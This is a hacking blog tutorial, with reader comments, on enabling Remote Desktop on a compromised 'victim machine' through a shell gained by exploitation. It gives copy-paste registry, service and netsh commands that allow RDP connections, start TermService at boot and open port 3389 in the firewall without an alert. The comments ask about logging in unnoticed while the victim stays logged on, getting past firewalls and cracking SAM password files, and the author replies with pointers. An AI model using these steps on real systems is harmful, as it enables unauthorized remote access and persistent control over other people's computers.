• +
How To Enable Remote Desktop Using Command Prompt?

How To Enable Remote Desktop Using Command Prompt?

Bookmark

Type : Tips and Trick

Level : Easy

There’s a lot of people while learn computer hacking, they didn’t like command prompt or a terminal too much. Some of them prefer quick and fast hacking with a nice and friendly interface that just click here and click there then it finished ๐Ÿ™‚ .

Today I will wrote tips and trick how to enable remote desktop using command prompt… (hey! it’s still use command prompt!)..but wait, this command prompt all you need just to copy and paste and execute it. You can execute the command in this tutorial from Telnet or Shell you got from compromised system, etc.

You can view my last two tutorial to help you much more understand this tips and trick :

How to create a simple exploit for Windows 7

How to add user with administrator rights via comand prompt

Let’s prepare the easy and simple tips and trick how to enable remote desktop using command prompt.

Requirements :

1. Telnet [or] Command Prompt –> with administrative rights

Step by Step How To Enable Remote Desktop Using Command Prompt?:

1. This tips and trick I will continue from the tutorial about Creating Simple Exploit using Metasploit. So in this case you already got the shell or the command prompt.

2. Type this command to enable Remote Desktop on victim machine :

reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f

reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f

How To Enable Remote Desktop Using Command Prompt?

3. This step have not finished yet….we need to start the Terminal Service, because terminal service was disabled by default

sc config TermService start= auto

that command will make terminal service will start every time the computer started.

How To Enable Remote Desktop Using Command Prompt?

4. Now we need to start the terminal service for use right now, because the command on step 4 only to make terminal service started every computer started and does not start the service.

net start Termservice

How To Enable Remote Desktop Using Command Prompt?

5. Okay everything already done, and we’ve almost done. The next step we need to open port that will be used by remote desktop on firewall, so the alert will not popping up while someone connect to remote desktop server.

netsh.exe

firewall

add portopening TCP 3389 "Remote Desktop"

The command above will make firewall accepted every packet that came to port 3389 that used for Remote Desktop without alert.

How To Enable Remote Desktop Using Command Prompt?

6. Open a new terminal (Backtrack 5) or you can use Remote Desktop Client in Windows(Start –> All Programs –> Accessories –> Remote Desktop Connection). In this tips and trick I will use RDesktop in Backtrack 5 R2.

rdesktop 192.168.8.92

How To Enable Remote Desktop Using Command Prompt?

7. A GUI (Graphical User Interface) will pop out ask for user name and password.

How To Enable Remote Desktop Using Command Prompt?

8. Yes we’re in and successfully enable the remote desktop.

How To Enable Remote Desktop Using Command Prompt?

Hope it’s useful m8 ๐Ÿ™‚

FYI :

– You can add the user via command prompt by following this tutorial about how to add user with administrative rights via command prompt (click here)

– Read other post: How two users logging in a Windows 7 on the same time

Share this article if you found this post was useful:

Blogger at hacking-tutorial.com. Love PHP, offensive security and web. Contact him at me[-at-]vishnuvalentino.com

See all posts by || Visit Website : http://www.vishnuvalentino.com

  • Pingback: How To Enable Remote Desktop Using Command Prompt? | Vishnu โ€ฆ | Zipsite.net()

  • Wasif

    im confused in step 6 what do i have to type in remote desktop client in windows to enable remote desktop

    • v4L

      #wasif
      go to run(windows logo + R) and type mstsc

  • Anteaus

    Does the above procedure apply even for Windows 7 basic sp1?

    • v4L

      #Anteaus
      yes

  • Thank you! ๐Ÿ™‚

  • sundeep

    how to login interacitvely i mean that the target system user should not be logged off at the same
    time I should get in ?
    is it possible ? i google a lot but could not find the answer btw your posts are much informational
    thank you…

  • sundeep

    i commneted here 2 days back but my comment has been deleted
    Actually i asked how to login intereactively i mean two users logging in at the same time
    the victim and the attacker after getting in the target system the attacker should login without the victim logging off..
    hope you understand what my problem is
    btw your posts are fantastic
     
    thank you,

    • v4L

      #sundeep
      I didn’t delete it, but I haven’t read it.
      yes it’s possible.
      on January 22 I will publish it in this blog. stay update ๐Ÿ™‚

  • sundeep

    thanks for the reply  i will wait and  ofcourse i am watching your blog daily so that  I can learn something,,,

  • Mayank

    perfect

  • sasi

    if the system is behind a third party firewall,how can we bypass it remotely.

    • v4L

      #sasi

      firewall will allow port 80 and 443

  • Ahmed El-Nagdy

    Very nice tutorial…
    Do u have any way to learn me how i can hack SAM file to let me know all users accounts and passwords stored in victim machine.
    But Please i need this tutorial can be work at xp-sp3 and win7.

    Really thanks a lot 2 u…

    • v4L

      #Ahmed

      http://www./hacking-tutorial/crack-windows-password-using-rcrack-pwdump-and-rainbow-table/

  • Excel

    You are a guru man

  • VN

    I am looking for how to login interactively between two users logging in at the same time the victim and the attacker after getting in the target system the attacker should login without the victim logging off..

  • scarfaze

    when executing the step 5

    netsh.exe

    firewall

    add portopening TCP 3389 “Remote Desktop”

    i get this following ;;

    ================================================================
    IMPORTANT: “netsh firewall” is deprecated;
    use “netsh advfirewall firewall” instead.
    For more information on using “netsh advfirewall firewall” commands
    instead of “netsh firewall”, see KB article 947709
    at http://go.microsoft.com/fwlink/?linkid=121488 .

    The service has not been started.
    ===============================================================

    pls any help ?

    • v4L

      #scarfaze

      Netsh Advfirewall Firewall

  • andrejbc

    Can I create a batch file with this lines?

  • Guest

    rdesktop 192.168.8.92
    Where does the number come from in the above command?

  • mahad

    when i go to remote desktop connection and type rdesktop 192.168.8.92 there s an error that says the windows doesnt recognize it plz help

    rdesktop 192.168.8.92
    rdesktop 192.168.8.92
    rdesktop 192.168.8.92